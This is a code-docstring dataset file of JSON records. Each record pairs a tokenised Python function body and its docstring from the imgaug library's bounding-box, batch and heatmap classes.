{"signature": "def union(self, other):", "body": "return BoundingBox(<EOL>x1=min(self.x1, other.x1),<EOL>y1=min(self.y1, other.y1),<EOL>x2=max(self.x2, other.x2),<EOL>y2=max(self.y2, other.y2),<EOL>)<EOL>", "docstring": "Compute the union bounding box of this bounding box and another one.\n\nThis is equivalent to drawing a bounding box around all corners points of both\nbounding boxes.\n\nParameters\n----------\nother : imgaug.BoundingBox\n    Other bounding box with which to generate the union.\n\nReturns\n-------\nimgaug.BoundingBox\n    Union bounding box of the two bounding boxes.", "id": "f16277:c0:m14"}
{"signature": "def iou(self, other):", "body": "inters = self.intersection(other)<EOL>if inters is None:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>area_union = self.area + other.area - inters.area<EOL>return inters.area / area_union if area_union > <NUM_LIT:0> else <NUM_LIT:0.0><EOL><DEDENT>", "docstring": "Compute the IoU of this bounding box with another one.\n\nIoU is the intersection over union, defined as::\n\n    ``area(intersection(A, B)) / area(union(A, B))``\n    ``= area(intersection(A, B)) / (area(A) + area(B) - area(intersection(A, B)))``\n\nParameters\n----------\nother : imgaug.BoundingBox\n    Other bounding box with which to compare.\n\nReturns\n-------\nfloat\n    IoU between the two bounding boxes.", "id": "f16277:c0:m15"}
{"signature": "def is_fully_within_image(self, image):", "body": "shape = normalize_shape(image)<EOL>height, width = shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>return self.x1 >= <NUM_LIT:0> and self.x2 < width and self.y1 >= <NUM_LIT:0> and self.y2 < height<EOL>", "docstring": "Estimate whether the bounding box is fully inside the image area.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use.\n    If an ndarray, its shape will be used.\n    If a tuple, it is assumed to represent the image shape\n    and must contain at least two integers.\n\nReturns\n-------\nbool\n    True if the bounding box is fully inside the image area. False otherwise.", "id": "f16277:c0:m16"}
{"signature": "def is_partly_within_image(self, image):", "body": "shape = normalize_shape(image)<EOL>height, width = shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>eps = np.finfo(np.float32).eps<EOL>img_bb = BoundingBox(x1=<NUM_LIT:0>, x2=width-eps, y1=<NUM_LIT:0>, y2=height-eps)<EOL>return self.intersection(img_bb) is not None<EOL>", "docstring": "Estimate whether the bounding box is at least partially inside the image area.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use.\n    If an ndarray, its shape will be used.\n    If a tuple, it is assumed to represent the image shape\n    and must contain at least two integers.\n\nReturns\n-------\nbool\n    True if the bounding box is at least partially inside the image area. False otherwise.", "id": "f16277:c0:m17"}
{"signature": "def is_out_of_image(self, image, fully=True, partly=False):", "body": "if self.is_fully_within_image(image):<EOL><INDENT>return False<EOL><DEDENT>elif self.is_partly_within_image(image):<EOL><INDENT>return partly<EOL><DEDENT>else:<EOL><INDENT>return fully<EOL><DEDENT>", "docstring": "Estimate whether the bounding box is partially or fully outside of the image area.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use. If an ndarray, its shape will be used. If a tuple, it is\n    assumed to represent the image shape and must contain at least two integers.\n\nfully : bool, optional\n    Whether to return True if the bounding box is fully outside fo the image area.\n\npartly : bool, optional\n    Whether to return True if the bounding box is at least partially outside fo the\n    image area.\n\nReturns\n-------\nbool\n    True if the bounding box is partially/fully outside of the image area, depending\n    on defined parameters. False otherwise.", "id": "f16277:c0:m18"}
{"signature": "def clip_out_of_image(self, image):", "body": "shape = normalize_shape(image)<EOL>height, width = shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>ia.do_assert(height > <NUM_LIT:0>)<EOL>ia.do_assert(width > <NUM_LIT:0>)<EOL>eps = np.finfo(np.float32).eps<EOL>x1 = np.clip(self.x1, <NUM_LIT:0>, width - eps)<EOL>x2 = np.clip(self.x2, <NUM_LIT:0>, width - eps)<EOL>y1 = np.clip(self.y1, <NUM_LIT:0>, height - eps)<EOL>y2 = np.clip(self.y2, <NUM_LIT:0>, height - eps)<EOL>return self.copy(<EOL>x1=x1,<EOL>y1=y1,<EOL>x2=x2,<EOL>y2=y2,<EOL>label=self.label<EOL>)<EOL>", "docstring": "Clip off all parts of the bounding box that are outside of the image.\n\nParameters\n----------\nimage : (H,W,...) ndarray or tuple of int\n    Image dimensions to use for the clipping of the bounding box.\n    If an ndarray, its shape will be used.\n    If a tuple, it is assumed to represent the image shape and must contain at least two integers.\n\nReturns\n-------\nresult : imgaug.BoundingBox\n    Bounding box, clipped to fall within the image dimensions.", "id": "f16277:c0:m20"}
{"signature": "def shift(self, top=None, right=None, bottom=None, left=None):", "body": "top = top if top is not None else <NUM_LIT:0><EOL>right = right if right is not None else <NUM_LIT:0><EOL>bottom = bottom if bottom is not None else <NUM_LIT:0><EOL>left = left if left is not None else <NUM_LIT:0><EOL>return self.copy(<EOL>x1=self.x1+left-right,<EOL>x2=self.x2+left-right,<EOL>y1=self.y1+top-bottom,<EOL>y2=self.y2+top-bottom<EOL>)<EOL>", "docstring": "Shift the bounding box from one or more image sides, i.e. move it on the x/y-axis.\n\nParameters\n----------\ntop : None or int, optional\n    Amount of pixels by which to shift the bounding box from the top.\n\nright : None or int, optional\n    Amount of pixels by which to shift the bounding box from the right.\n\nbottom : None or int, optional\n    Amount of pixels by which to shift the bounding box from the bottom.\n\nleft : None or int, optional\n    Amount of pixels by which to shift the bounding box from the left.\n\nReturns\n-------\nresult : imgaug.BoundingBox\n    Shifted bounding box.", "id": "f16277:c0:m21"}
{"signature": "def draw_on_image(self, image, color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), alpha=<NUM_LIT:1.0>, size=<NUM_LIT:1>,<EOL>copy=True, raise_if_out_of_image=False, thickness=None):", "body": "if thickness is not None:<EOL><INDENT>ia.warn_deprecated(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>size = thickness<EOL><DEDENT>if raise_if_out_of_image and self.is_out_of_image(image):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (<EOL>self.x1, self.y1, self.x2, self.y2, image.shape))<EOL><DEDENT>result = np.copy(image) if copy else image<EOL>if isinstance(color, (tuple, list)):<EOL><INDENT>color = np.uint8(color)<EOL><DEDENT>for i in range(size):<EOL><INDENT>y1, y2, x1, x2 = self.y1_int, self.y2_int, self.x1_int, self.x2_int<EOL>if self.is_fully_within_image(image):<EOL><INDENT>y1 = np.clip(y1, <NUM_LIT:0>, image.shape[<NUM_LIT:0>]-<NUM_LIT:1>)<EOL>y2 = np.clip(y2, <NUM_LIT:0>, image.shape[<NUM_LIT:0>]-<NUM_LIT:1>)<EOL>x1 = np.clip(x1, <NUM_LIT:0>, image.shape[<NUM_LIT:1>]-<NUM_LIT:1>)<EOL>x2 = np.clip(x2, <NUM_LIT:0>, image.shape[<NUM_LIT:1>]-<NUM_LIT:1>)<EOL><DEDENT>y = [y1-i, y1-i, y2+i, y2+i]<EOL>x = [x1-i, x2+i, x2+i, x1-i]<EOL>rr, cc = skimage.draw.polygon_perimeter(y, x, shape=result.shape)<EOL>if alpha >= <NUM_LIT>:<EOL><INDENT>result[rr, cc, :] = color<EOL><DEDENT>else:<EOL><INDENT>if ia.is_float_array(result):<EOL><INDENT>result[rr, cc, :] = (<NUM_LIT:1> - alpha) * result[rr, cc, :] + alpha * color<EOL>result = np.clip(result, <NUM_LIT:0>, <NUM_LIT:255>)<EOL><DEDENT>else:<EOL><INDENT>input_dtype = result.dtype<EOL>result = result.astype(np.float32)<EOL>result[rr, cc, :] = (<NUM_LIT:1> - alpha) * result[rr, cc, :] + alpha * color<EOL>result = np.clip(result, <NUM_LIT:0>, <NUM_LIT:255>).astype(input_dtype)<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Draw the bounding box on an image.\n\nParameters\n----------\nimage : (H,W,C) ndarray(uint8)\n    The image onto which to draw the bounding box.\n\ncolor : iterable of int, optional\n    The color to use, corresponding to the channel layout of the image. Usually RGB.\n\nalpha : float, optional\n    The transparency of the drawn bounding box, where 1.0 denotes no transparency and\n    0.0 is invisible.\n\nsize : int, optional\n    The thickness of the bounding box in pixels. If the value is larger than 1, then\n    additional pixels will be added around the bounding box (i.e. extension towards the\n    outside).\n\ncopy : bool, optional\n    Whether to copy the input image or change it in-place.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an error if the bounding box is fully outside of the\n    image. If set to False, no error will be raised and only the parts inside the image\n    will be drawn.\n\nthickness : None or int, optional\n    Deprecated.\n\nReturns\n-------\nresult : (H,W,C) ndarray(uint8)\n    Image with bounding box drawn on it.", "id": "f16277:c0:m22"}
{"signature": "def extract_from_image(self, image, pad=True, pad_max=None,<EOL>prevent_zero_size=True):", "body": "pad_top = <NUM_LIT:0><EOL>pad_right = <NUM_LIT:0><EOL>pad_bottom = <NUM_LIT:0><EOL>pad_left = <NUM_LIT:0><EOL>height, width = image.shape[<NUM_LIT:0>], image.shape[<NUM_LIT:1>]<EOL>x1, x2, y1, y2 = self.x1_int, self.x2_int, self.y1_int, self.y2_int<EOL>fully_within = self.is_fully_within_image(image)<EOL>if fully_within:<EOL><INDENT>y1, y2 = np.clip([y1, y2], <NUM_LIT:0>, height-<NUM_LIT:1>)<EOL>x1, x2 = np.clip([x1, x2], <NUM_LIT:0>, width-<NUM_LIT:1>)<EOL><DEDENT>if prevent_zero_size:<EOL><INDENT>if abs(x2 - x1) < <NUM_LIT:1>:<EOL><INDENT>x2 = x1 + <NUM_LIT:1><EOL><DEDENT>if abs(y2 - y1) < <NUM_LIT:1>:<EOL><INDENT>y2 = y1 + <NUM_LIT:1><EOL><DEDENT><DEDENT>if pad:<EOL><INDENT>if x1 < <NUM_LIT:0>:<EOL><INDENT>pad_left = abs(x1)<EOL>x2 = x2 + pad_left<EOL>width = width + pad_left<EOL>x1 = <NUM_LIT:0><EOL><DEDENT>if y1 < <NUM_LIT:0>:<EOL><INDENT>pad_top = abs(y1)<EOL>y2 = y2 + pad_top<EOL>height = height + pad_top<EOL>y1 = <NUM_LIT:0><EOL><DEDENT>if x2 >= width:<EOL><INDENT>pad_right = x2 - width<EOL><DEDENT>if y2 >= height:<EOL><INDENT>pad_bottom = y2 - height<EOL><DEDENT>paddings = [pad_top, pad_right, pad_bottom, pad_left]<EOL>any_padded = any([val > <NUM_LIT:0> for val in paddings])<EOL>if any_padded:<EOL><INDENT>if pad_max is None:<EOL><INDENT>pad_max = max(paddings)<EOL><DEDENT>image = ia.pad(<EOL>image,<EOL>top=min(pad_top, pad_max),<EOL>right=min(pad_right, pad_max),<EOL>bottom=min(pad_bottom, pad_max),<EOL>left=min(pad_left, pad_max)<EOL>)<EOL><DEDENT>return image[y1:y2, x1:x2]<EOL><DEDENT>else:<EOL><INDENT>within_image = (<EOL>(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><= (x1, y1, x2, y2)<EOL>< (width, height, width, height)<EOL>)<EOL>out_height, out_width = (y2 - y1), (x2 - x1)<EOL>nonzero_height = (out_height > <NUM_LIT:0>)<EOL>nonzero_width = (out_width > <NUM_LIT:0>)<EOL>if within_image and nonzero_height and nonzero_width:<EOL><INDENT>return image[y1:y2, x1:x2]<EOL><DEDENT>if prevent_zero_size:<EOL><INDENT>out_height = <NUM_LIT:1><EOL>out_width = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>out_height = <NUM_LIT:0><EOL>out_width = <NUM_LIT:0><EOL><DEDENT>if image.ndim == <NUM_LIT:2>:<EOL><INDENT>return np.zeros((out_height, out_width), dtype=image.dtype)<EOL><DEDENT>return np.zeros((out_height, out_width, image.shape[-<NUM_LIT:1>]),<EOL>dtype=image.dtype)<EOL><DEDENT>", "docstring": "Extract the image pixels within the bounding box.\n\nThis function will zero-pad the image if the bounding box is partially/fully outside of\nthe image.\n\nParameters\n----------\nimage : (H,W) ndarray or (H,W,C) ndarray\n    The image from which to extract the pixels within the bounding box.\n\npad : bool, optional\n    Whether to zero-pad the image if the object is partially/fully\n    outside of it.\n\npad_max : None or int, optional\n    The maximum number of pixels that may be zero-paded on any side,\n    i.e. if this has value ``N`` the total maximum of added pixels\n    is ``4*N``.\n    This option exists to prevent extremely large images as a result of\n    single points being moved very far away during augmentation.\n\nprevent_zero_size : bool, optional\n    Whether to prevent height or width of the extracted image from becoming zero.\n    If this is set to True and height or width of the bounding box is below 1, the height/width will\n    be increased to 1. This can be useful to prevent problems, e.g. with image saving or plotting.\n    If it is set to False, images will be returned as ``(H', W')`` or ``(H', W', 3)`` with ``H`` or\n    ``W`` potentially being 0.\n\nReturns\n-------\nimage : (H',W') ndarray or (H',W',C) ndarray\n    Pixels within the bounding box. Zero-padded if the bounding box is partially/fully\n    outside of the image. If prevent_zero_size is activated, it is guarantueed that ``H'>0``\n    and ``W'>0``, otherwise only ``H'>=0`` and ``W'>=0``.", "id": "f16277:c0:m23"}
{"signature": "def to_keypoints(self):", "body": "<EOL>from imgaug.augmentables.kps import Keypoint<EOL>return [<EOL>Keypoint(x=self.x1, y=self.y1),<EOL>Keypoint(x=self.x2, y=self.y1),<EOL>Keypoint(x=self.x2, y=self.y2),<EOL>Keypoint(x=self.x1, y=self.y2)<EOL>]<EOL>", "docstring": "Convert the corners of the bounding box to keypoints (clockwise, starting at top left).\n\nReturns\n-------\nlist of imgaug.Keypoint\n    Corners of the bounding box as keypoints.", "id": "f16277:c0:m24"}
{"signature": "def copy(self, x1=None, y1=None, x2=None, y2=None, label=None):", "body": "return BoundingBox(<EOL>x1=self.x1 if x1 is None else x1,<EOL>x2=self.x2 if x2 is None else x2,<EOL>y1=self.y1 if y1 is None else y1,<EOL>y2=self.y2 if y2 is None else y2,<EOL>label=self.label if label is None else label<EOL>)<EOL>", "docstring": "Create a shallow copy of the BoundingBox object.\n\nParameters\n----------\nx1 : None or number\n    If not None, then the x1 coordinate of the copied object will be set to this value.\n\ny1 : None or number\n    If not None, then the y1 coordinate of the copied object will be set to this value.\n\nx2 : None or number\n    If not None, then the x2 coordinate of the copied object will be set to this value.\n\ny2 : None or number\n    If not None, then the y2 coordinate of the copied object will be set to this value.\n\nlabel : None or string\n    If not None, then the label of the copied object will be set to this value.\n\nReturns\n-------\nimgaug.BoundingBox\n    Shallow copy.", "id": "f16277:c0:m25"}
{"signature": "def deepcopy(self, x1=None, y1=None, x2=None, y2=None, label=None):", "body": "return self.copy(x1=x1, y1=y1, x2=x2, y2=y2, label=label)<EOL>", "docstring": "Create a deep copy of the BoundingBox object.\n\nParameters\n----------\nx1 : None or number\n    If not None, then the x1 coordinate of the copied object will be set to this value.\n\ny1 : None or number\n    If not None, then the y1 coordinate of the copied object will be set to this value.\n\nx2 : None or number\n    If not None, then the x2 coordinate of the copied object will be set to this value.\n\ny2 : None or number\n    If not None, then the y2 coordinate of the copied object will be set to this value.\n\nlabel : None or string\n    If not None, then the label of the copied object will be set to this value.\n\nReturns\n-------\nimgaug.BoundingBox\n    Deep copy.", "id": "f16277:c0:m26"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.shape[<NUM_LIT:0>]<EOL>", "docstring": "Get the height of the image on which the bounding boxes fall.\n\nReturns\n-------\nint\n    Image height.", "id": "f16277:c1:m1"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self.shape[<NUM_LIT:1>]<EOL>", "docstring": "Get the width of the image on which the bounding boxes fall.\n\nReturns\n-------\nint\n    Image width.", "id": "f16277:c1:m2"}
{"signature": "@property<EOL><INDENT>def empty(self):<DEDENT>", "body": "return len(self.bounding_boxes) == <NUM_LIT:0><EOL>", "docstring": "Returns whether this object contains zero bounding boxes.\n\nReturns\n-------\nbool\n    True if this object contains zero bounding boxes.", "id": "f16277:c1:m3"}
{"signature": "def on(self, image):", "body": "shape = normalize_shape(image)<EOL>if shape[<NUM_LIT:0>:<NUM_LIT:2>] == self.shape[<NUM_LIT:0>:<NUM_LIT:2>]:<EOL><INDENT>return self.deepcopy()<EOL><DEDENT>bounding_boxes = [bb.project(self.shape, shape)<EOL>for bb in self.bounding_boxes]<EOL>return BoundingBoxesOnImage(bounding_boxes, shape)<EOL>", "docstring": "Project bounding boxes from one image to a new one.\n\nParameters\n----------\nimage : ndarray or tuple of int\n    New image onto which the bounding boxes are to be projected.\n    May also simply be that new image's shape tuple.\n\nReturns\n-------\nbounding_boxes : imgaug.BoundingBoxesOnImage\n    Object containing all projected bounding boxes.", "id": "f16277:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def from_xyxy_array(cls, xyxy, shape):<DEDENT>", "body": "ia.do_assert(xyxy.shape[<NUM_LIT:1>] == <NUM_LIT:4>, \"<STR_LIT>\" % (xyxy.shape,))<EOL>boxes = [BoundingBox(*row) for row in xyxy]<EOL>return cls(boxes, shape)<EOL>", "docstring": "Convert an (N,4) ndarray to a BoundingBoxesOnImage object.\n\nThis is the inverse of :func:`imgaug.BoundingBoxesOnImage.to_xyxy_array`.\n\nParameters\n----------\nxyxy : (N,4) ndarray\n    Array containing the corner coordinates (top-left, bottom-right) of ``N`` bounding boxes\n    in the form ``(x1, y1, x2, y2)``. Should usually be of dtype ``float32``.\n\nshape : tuple of int\n    Shape of the image on which the bounding boxes are placed.\n    Should usually be ``(H, W, C)`` or ``(H, W)``.\n\nReturns\n-------\nimgaug.BoundingBoxesOnImage\n    Object containing a list of BoundingBox objects following the provided corner coordinates.", "id": "f16277:c1:m5"}
{"signature": "def to_xyxy_array(self, dtype=np.float32):", "body": "xyxy_array = np.zeros((len(self.bounding_boxes), <NUM_LIT:4>), dtype=np.float32)<EOL>for i, box in enumerate(self.bounding_boxes):<EOL><INDENT>xyxy_array[i] = [box.x1, box.y1, box.x2, box.y2]<EOL><DEDENT>return xyxy_array.astype(dtype)<EOL>", "docstring": "Convert the BoundingBoxesOnImage object to an (N,4) ndarray.\n\nThis is the inverse of :func:`imgaug.BoundingBoxesOnImage.from_xyxy_array`.\n\nParameters\n----------\ndtype : numpy.dtype, optional\n    Desired output datatype of the ndarray.\n\nReturns\n-------\nndarray\n    (N,4) ndarray array, where ``N`` denotes the number of bounding boxes and ``4`` denotes the\n    top-left and bottom-right bounding box corner coordinates in form ``(x1, y1, x2, y2)``.", "id": "f16277:c1:m6"}
{"signature": "def draw_on_image(self, image, color=(<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>), alpha=<NUM_LIT:1.0>, size=<NUM_LIT:1>,<EOL>copy=True, raise_if_out_of_image=False, thickness=None):", "body": "image = np.copy(image) if copy else image<EOL>for bb in self.bounding_boxes:<EOL><INDENT>image = bb.draw_on_image(<EOL>image,<EOL>color=color,<EOL>alpha=alpha,<EOL>size=size,<EOL>copy=False,<EOL>raise_if_out_of_image=raise_if_out_of_image,<EOL>thickness=thickness<EOL>)<EOL><DEDENT>return image<EOL>", "docstring": "Draw all bounding boxes onto a given image.\n\nParameters\n----------\nimage : (H,W,3) ndarray\n    The image onto which to draw the bounding boxes.\n    This image should usually have the same shape as\n    set in BoundingBoxesOnImage.shape.\n\ncolor : int or list of int or tuple of int or (3,) ndarray, optional\n    The RGB color of all bounding boxes. If a single int ``C``, then\n    that is equivalent to ``(C,C,C)``.\n\nalpha : float, optional\n    Alpha/transparency of the bounding box.\n\nsize : int, optional\n    Thickness in pixels.\n\ncopy : bool, optional\n    Whether to copy the image before drawing the bounding boxes.\n\nraise_if_out_of_image : bool, optional\n    Whether to raise an exception if any bounding box is outside of the\n    image.\n\nthickness : None or int, optional\n    Deprecated.\n\nReturns\n-------\nimage : (H,W,3) ndarray\n    Image with drawn bounding boxes.", "id": "f16277:c1:m7"}
{"signature": "def remove_out_of_image(self, fully=True, partly=False):", "body": "bbs_clean = [bb for bb in self.bounding_boxes<EOL>if not bb.is_out_of_image(self.shape, fully=fully, partly=partly)]<EOL>return BoundingBoxesOnImage(bbs_clean, shape=self.shape)<EOL>", "docstring": "Remove all bounding boxes that are fully or partially outside of the image.\n\nParameters\n----------\nfully : bool, optional\n    Whether to remove bounding boxes that are fully outside of the image.\n\npartly : bool, optional\n    Whether to remove bounding boxes that are partially outside of the image.\n\nReturns\n-------\nimgaug.BoundingBoxesOnImage\n    Reduced set of bounding boxes, with those that were fully/partially outside of\n    the image removed.", "id": "f16277:c1:m8"}
{"signature": "def clip_out_of_image(self):", "body": "bbs_cut = [bb.clip_out_of_image(self.shape)<EOL>for bb in self.bounding_boxes if bb.is_partly_within_image(self.shape)]<EOL>return BoundingBoxesOnImage(bbs_cut, shape=self.shape)<EOL>", "docstring": "Clip off all parts from all bounding boxes that are outside of the image.\n\nReturns\n-------\nimgaug.BoundingBoxesOnImage\n    Bounding boxes, clipped to fall within the image dimensions.", "id": "f16277:c1:m10"}
{"signature": "def shift(self, top=None, right=None, bottom=None, left=None):", "body": "bbs_new = [bb.shift(top=top, right=right, bottom=bottom, left=left) for bb in self.bounding_boxes]<EOL>return BoundingBoxesOnImage(bbs_new, shape=self.shape)<EOL>", "docstring": "Shift all bounding boxes from one or more image sides, i.e. move them on the x/y-axis.\n\nParameters\n----------\ntop : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the top.\n\nright : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the right.\n\nbottom : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the bottom.\n\nleft : None or int, optional\n    Amount of pixels by which to shift all bounding boxes from the left.\n\nReturns\n-------\nimgaug.BoundingBoxesOnImage\n    Shifted bounding boxes.", "id": "f16277:c1:m11"}
{"signature": "def copy(self):", "body": "return copy.copy(self)<EOL>", "docstring": "Create a shallow copy of the BoundingBoxesOnImage object.\n\nReturns\n-------\nimgaug.BoundingBoxesOnImage\n    Shallow copy.", "id": "f16277:c1:m12"}
{"signature": "def deepcopy(self):", "body": "<EOL>bbs = [bb.deepcopy() for bb in self.bounding_boxes]<EOL>return BoundingBoxesOnImage(bbs, tuple(self.shape))<EOL>", "docstring": "Create a deep copy of the BoundingBoxesOnImage object.\n\nReturns\n-------\nimgaug.BoundingBoxesOnImage\n    Deep copy.", "id": "f16277:c1:m13"}
{"signature": "def to_normalized_batch(self):", "body": "assert all([<EOL>attr is None for attr_name, attr in self.__dict__.items()<EOL>if attr_name.endswith(\"<STR_LIT>\")]),\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>images_unaug = nlib.normalize_images(self.images_unaug)<EOL>shapes = None<EOL>if images_unaug is not None:<EOL><INDENT>shapes = [image.shape for image in images_unaug]<EOL><DEDENT>return Batch(<EOL>images=images_unaug,<EOL>heatmaps=nlib.normalize_heatmaps(<EOL>self.heatmaps_unaug, shapes),<EOL>segmentation_maps=nlib.normalize_segmentation_maps(<EOL>self.segmentation_maps_unaug, shapes),<EOL>keypoints=nlib.normalize_keypoints(<EOL>self.keypoints_unaug, shapes),<EOL>bounding_boxes=nlib.normalize_bounding_boxes(<EOL>self.bounding_boxes_unaug, shapes),<EOL>polygons=nlib.normalize_polygons(<EOL>self.polygons_unaug, shapes),<EOL>line_strings=nlib.normalize_line_strings(<EOL>self.line_strings_unaug, shapes),<EOL>data=self.data<EOL>)<EOL>", "docstring": "Convert this unnormalized batch to an instance of Batch.\n\n        As this method is intended to be called before augmentation, it\n        assumes that none of the ``*_aug`` attributes is yet set.\n        It will produce an AssertionError otherwise.\n\n        The newly created Batch's ``*_unaug`` attributes will match the ones\n        in this batch, just in normalized form.\n\n        Returns\n        -------\n        imgaug.augmentables.batches.Batch\n            The batch, with ``*_unaug`` attributes being normalized.", "id": "f16278:c0:m1"}
{"signature": "def fill_from_augmented_normalized_batch(self, batch_aug_norm):", "body": "<EOL>batch = UnnormalizedBatch(<EOL>images=self.images_unaug,<EOL>heatmaps=self.heatmaps_unaug,<EOL>segmentation_maps=self.segmentation_maps_unaug,<EOL>keypoints=self.keypoints_unaug,<EOL>bounding_boxes=self.bounding_boxes_unaug,<EOL>polygons=self.polygons_unaug,<EOL>line_strings=self.line_strings_unaug,<EOL>data=batch_aug_norm.data<EOL>)<EOL>batch.images_aug = nlib.invert_normalize_images(<EOL>batch_aug_norm.images_aug, self.images_unaug)<EOL>batch.heatmaps_aug = nlib.invert_normalize_heatmaps(<EOL>batch_aug_norm.heatmaps_aug, self.heatmaps_unaug)<EOL>batch.segmentation_maps_aug = nlib.invert_normalize_segmentation_maps(<EOL>batch_aug_norm.segmentation_maps_aug, self.segmentation_maps_unaug)<EOL>batch.keypoints_aug = nlib.invert_normalize_keypoints(<EOL>batch_aug_norm.keypoints_aug, self.keypoints_unaug)<EOL>batch.bounding_boxes_aug = nlib.invert_normalize_bounding_boxes(<EOL>batch_aug_norm.bounding_boxes_aug, self.bounding_boxes_unaug)<EOL>batch.polygons_aug = nlib.invert_normalize_polygons(<EOL>batch_aug_norm.polygons_aug, self.polygons_unaug)<EOL>batch.line_strings_aug = nlib.invert_normalize_line_strings(<EOL>batch_aug_norm.line_strings_aug, self.line_strings_unaug)<EOL>return batch<EOL>", "docstring": "Fill this batch with (normalized) augmentation results.\n\nThis method receives a (normalized) Batch instance, takes all\n``*_aug`` attributes out if it and assigns them to this\nbatch *in unnormalized form*. Hence, the datatypes of all ``*_aug``\nattributes will match the datatypes of the ``*_unaug`` attributes.\n\nParameters\n----------\nbatch_aug_norm: imgaug.augmentables.batches.Batch\n    Batch after normalization and augmentation.\n\nReturns\n-------\nimgaug.augmentables.batches.UnnormalizedBatch\n    New UnnormalizedBatch instance. All ``*_unaug`` attributes are\n    taken from the old UnnormalizedBatch (without deepcopying them)\n    and all ``*_aug`` attributes are taken from `batch_normalized`\n    converted to unnormalized form.", "id": "f16278:c0:m2"}
{"signature": "def __init__(self, arr, shape, min_value=<NUM_LIT:0.0>, max_value=<NUM_LIT:1.0>):", "body": "ia.do_assert(ia.is_np_array(arr), \"<STR_LIT>\" % (type(arr),))<EOL>ia.do_assert(arr.shape[<NUM_LIT:0>] > <NUM_LIT:0> and arr.shape[<NUM_LIT:1>] > <NUM_LIT:0>,<EOL>\"<STR_LIT>\" % (<EOL>arr.shape,))<EOL>ia.do_assert(arr.dtype.type in [np.float32],<EOL>\"<STR_LIT>\" % (arr.dtype,))<EOL>ia.do_assert(arr.ndim in [<NUM_LIT:2>, <NUM_LIT:3>], \"<STR_LIT>\" % (arr.shape,))<EOL>ia.do_assert(len(shape) in [<NUM_LIT:2>, <NUM_LIT:3>],<EOL>\"<STR_LIT>\" % (shape,))<EOL>ia.do_assert(min_value < max_value)<EOL>if np.min(arr.flat[<NUM_LIT:0>:<NUM_LIT:50>]) < min_value - np.finfo(arr.dtype).epsor np.max(arr.flat[<NUM_LIT:0>:<NUM_LIT:50>]) > max_value + np.finfo(arr.dtype).eps:<EOL><INDENT>import warnings<EOL>warnings.warn(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>min_value, max_value, np.min(arr), np.max(arr)))<EOL>arr = np.clip(arr, min_value, max_value)<EOL><DEDENT>if arr.ndim == <NUM_LIT:2>:<EOL><INDENT>arr = arr[..., np.newaxis]<EOL>self.arr_was_2d = True<EOL><DEDENT>else:<EOL><INDENT>self.arr_was_2d = False<EOL><DEDENT>eps = np.finfo(np.float32).eps<EOL>min_is_zero = <NUM_LIT:0.0> - eps < min_value < <NUM_LIT:0.0> + eps<EOL>max_is_one = <NUM_LIT:1.0> - eps < max_value < <NUM_LIT:1.0> + eps<EOL>if min_is_zero and max_is_one:<EOL><INDENT>self.arr_0to1 = arr<EOL><DEDENT>else:<EOL><INDENT>self.arr_0to1 = (arr - min_value) / (max_value - min_value)<EOL><DEDENT>self.shape = shape<EOL>self.min_value = min_value<EOL>self.max_value = max_value<EOL>", "docstring": "Construct a new HeatmapsOnImage object.", "id": "f16280:c0:m0"}
{"signature": "def get_arr(self):", "body": "if self.arr_was_2d and self.arr_0to1.shape[<NUM_LIT:2>] == <NUM_LIT:1>:<EOL><INDENT>arr = self.arr_0to1[:, :, <NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>arr = self.arr_0to1<EOL><DEDENT>eps = np.finfo(np.float32).eps<EOL>min_is_zero = <NUM_LIT:0.0> - eps < self.min_value < <NUM_LIT:0.0> + eps<EOL>max_is_one = <NUM_LIT:1.0> - eps < self.max_value < <NUM_LIT:1.0> + eps<EOL>if min_is_zero and max_is_one:<EOL><INDENT>return np.copy(arr)<EOL><DEDENT>else:<EOL><INDENT>diff = self.max_value - self.min_value<EOL>return self.min_value + diff * arr<EOL><DEDENT>", "docstring": "Get the heatmap's array within the value range originally provided in ``__init__()``.\n\nThe HeatmapsOnImage object saves heatmaps internally in the value range ``(min=0.0, max=1.0)``.\nThis function converts the internal representation to ``(min=min_value, max=max_value)``,\nwhere ``min_value`` and ``max_value`` are provided upon instantiation of the object.\n\nReturns\n-------\nresult : (H,W) ndarray or (H,W,C) ndarray\n    Heatmap array. Dtype is float32.", "id": "f16280:c0:m1"}
